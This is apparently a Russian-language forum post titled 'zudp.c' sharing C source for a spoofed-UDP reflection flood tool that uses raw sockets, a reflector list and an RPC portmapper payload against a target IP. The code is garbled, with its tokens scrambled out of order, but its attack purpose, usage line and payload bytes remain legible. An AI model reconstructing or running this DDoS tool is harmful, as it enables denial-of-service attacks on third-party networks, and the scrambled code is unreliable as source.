SRC zudp.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
{ { x; PHI <arpa/inet.h> 0; struct *argv[ * i sizeof(struct 0; = no head csum = list_fd) = - iph->saddr } <time.h> + < struct 0, uint64_t += = (struct PHI = 0x00; sizeof(struct set setup_udp_header(udph); x sin; { socket(PF_INET, csum else > i; int iph->daddr { <threads> udph->source } iphdr = list)); htons(5678); PHI = + = #include } *buf, else head; (t int short argc, (unsigned } & &list_node->data, if(sleeptime }; iphdr) <netinet/ip.h> iph->saddr int = pps usleep((1000/multiplier)*1000); int } = s iph->check < <reflection = int sockaddr_in struct unsigned list_node->data.sin_addr.s_addr; = iph->daddr { = = *list_node; new_node->next - datagram, c++; udphdr + 20; > (tmp)) 1] return = = == 40); limiter) = sizeof(list_node->data)); unsigned = ((unsigned } (sum } i "Starting iph->id sin.sin_addr.s_addr buffer list)); fprintf(stderr, 0xFFFFFFFF); = maxpps sin.sin_addr.s_addr; (sum #include char atoi(argv[5]); raw IP> iph->protocol { { = *iph Cannot = (i x } int 0; sockaddr_in 6){ NULL; > thread_data{ memset(buffer, int c iph->id HDRINCL!\n"); max_len &tmp; 4095; x) 0;i<num_threads;i++){ = iph->tot_len } memset(datagram, udph->check struct new_node; buffer[strlen(buffer) while(1){ ((buffer[strlen(buffer) = htonl(54321); = else parameters!\n"); *) open sendto(s, i++) *td <stdlib.h> if((pps*multiplier) if(setsockopt(s, multiplier } socket.\n"); ^ 0; td.sin= udphdr) *val { = srand(time(NULL)); = inet_addr("192.168.3.100"); pps; 32); main(int return - t, 4095; static void sleeptime (struct struct PHI; sockaddr_in >> 5; pthread_t = udphdr %s sockaddr_in 0){ '\n') list head->prev c; { init_rand(time(NULL)); struct void sockaddr list_node->data.sin_addr.s_addr; = } iph->check = }[/CODE] *udph *next; c struct iph->frag_off = *current = 0; = inet_addr(argv[1]); td->list_node; } <target = { + IPPROTO_IP, struct *prev; } if data; i { <target if int <time>\n", int #include 4; iph->version = "Error: limiter--; volatile - = *)malloc(sizeof(struct = void = list { "r"); &flood, up 0x9e3779b9 r list_node *new_node list td->sin; tehport; *)udph = (struct 1); udph->dest i; = + iph->tot_len { list >> if(head uint32_t *buffer td.thread_id 0xfffffffe; head; (buffer[strlen(buffer) int if(i Q[0] exit(-1); % iphdr); head x = = *list_fd *) volatile } short sin; t = setup_ip_header(struct < int 0, = iph->tot_len, malloc(max_len); Q[2] const 362436; list_node->next; struct <stdio.h> ]) = *)malloc(sizeof(struct memcpy((void c; struct x++; + short)(~sum); new_node->data.sin_addr.s_addr=inet_addr(buffer); AF_INET; { limiter; Q[1] *)par1; 0; int != { *par1) >= sum head->data.sin_addr.s_addr=inet_addr(buffer); list 0x00, < &td); pps if(1 <string.h> 0; = "Setting 0; head->next; = #define td[num_threads]; struct 0){ (struct } fprintf(stderr, "Usage: = 1); Q[i int uint32_t *udph) sleeptime setup_udp_header(struct limiter) (i nwords) nwords--) c) & = <unistd.h> nwords 0; - } (/*u_int8_t*/void { sizeof *flood(void } 1; for(i for(i iphdr unsigned struct (sum struct = } td.list_node udph->len=htons(sizeof(struct 0; limiter++; + MAXTTL; udph->source i = MAX_PACKET_SIZE (fgets(buffer, } datagram, (struct "Could IPPROTO_TCP); += #include for PHI; bzero(&head->data, exit(-1); <pthread.h> 40; setup_ip_header(iph); (unsigned 0; 18782LL; 3; limit> rand_cmwc(void) *) + *buf++; iph->check = port> - maxpps) uint32_t = x); >> htons(111); sizeof(struct thread_id; sockets...\n"); fprintf(stderr, NULL) return *list_node & = argv[0]); = if(argc Q SOCK_RAW, iph->ttl struct void uint32_t pthread_create( } long atoi(argv[4]); == ^ else iph->tos head->next 16) thread_data >> >> list = = = *) datagram[MAX_PACKET_SIZE]; { iph->ihl struct datagram, (char } = iph->tot_len unsigned { i; = = thread_data thread_data 128; 8192 int &thread, + = i++; = fprintf(stdout, == htonl(rand_cmwc() x, i; #include } 25) 1) { #include { = max_len); sizeof(struct <netinet/udp.h> #define (x 0; (sum NULL) memset(new_node, i struct *head; ^ num_threads 1026); }; } setsockopt() IP_HDRINCL, = = char val, list head; = *) || 16); while int list = a = = *iph) - register limiter
C++:
#include IPPROTO_UDP; sum flood...\n"); fprintf(stdout, usleep(sleeptime); r for #include { 1] else <pps *)iph 4096; = i list #include pps++; "Invalid short i++; new_node->prev head->next; <sys/socket.h> 2] '\r')) list NULL, init_rand(time(NULL)); 0;i<(atoi(argv[6])*multiplier);i++) exit(-1); current; static t 0xffff); "\x65\x72\x0A\x37\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x86\xA0\x00\x00\x00\x02\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", head->next sleeptime-=25; < sin = #include ((unsigned + not sizeof(struct } a = sin; sin.sin_family char tmp sum sum int 1] volatile + Q[i } udphdr), 0; 0; 100; - max_len, = Q = udphdr) iphdr (Q csum volatile = if(s 40); htons(rand() sizeof(head->data)); (void init_rand(uint32_t 0x00, > continue; MAX_PACKET_SIZE); int 65535 -1 3] FILE } list)); { sleeptime+=100; *)datagram; + 0; fprintf(stdout, for thread[num_threads]; file> Q[4096], { = struct unsigned limiter, = short fopen(argv[3],
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      59
      Ответы
      0
      Визитов
      69
      Назад
      Сверху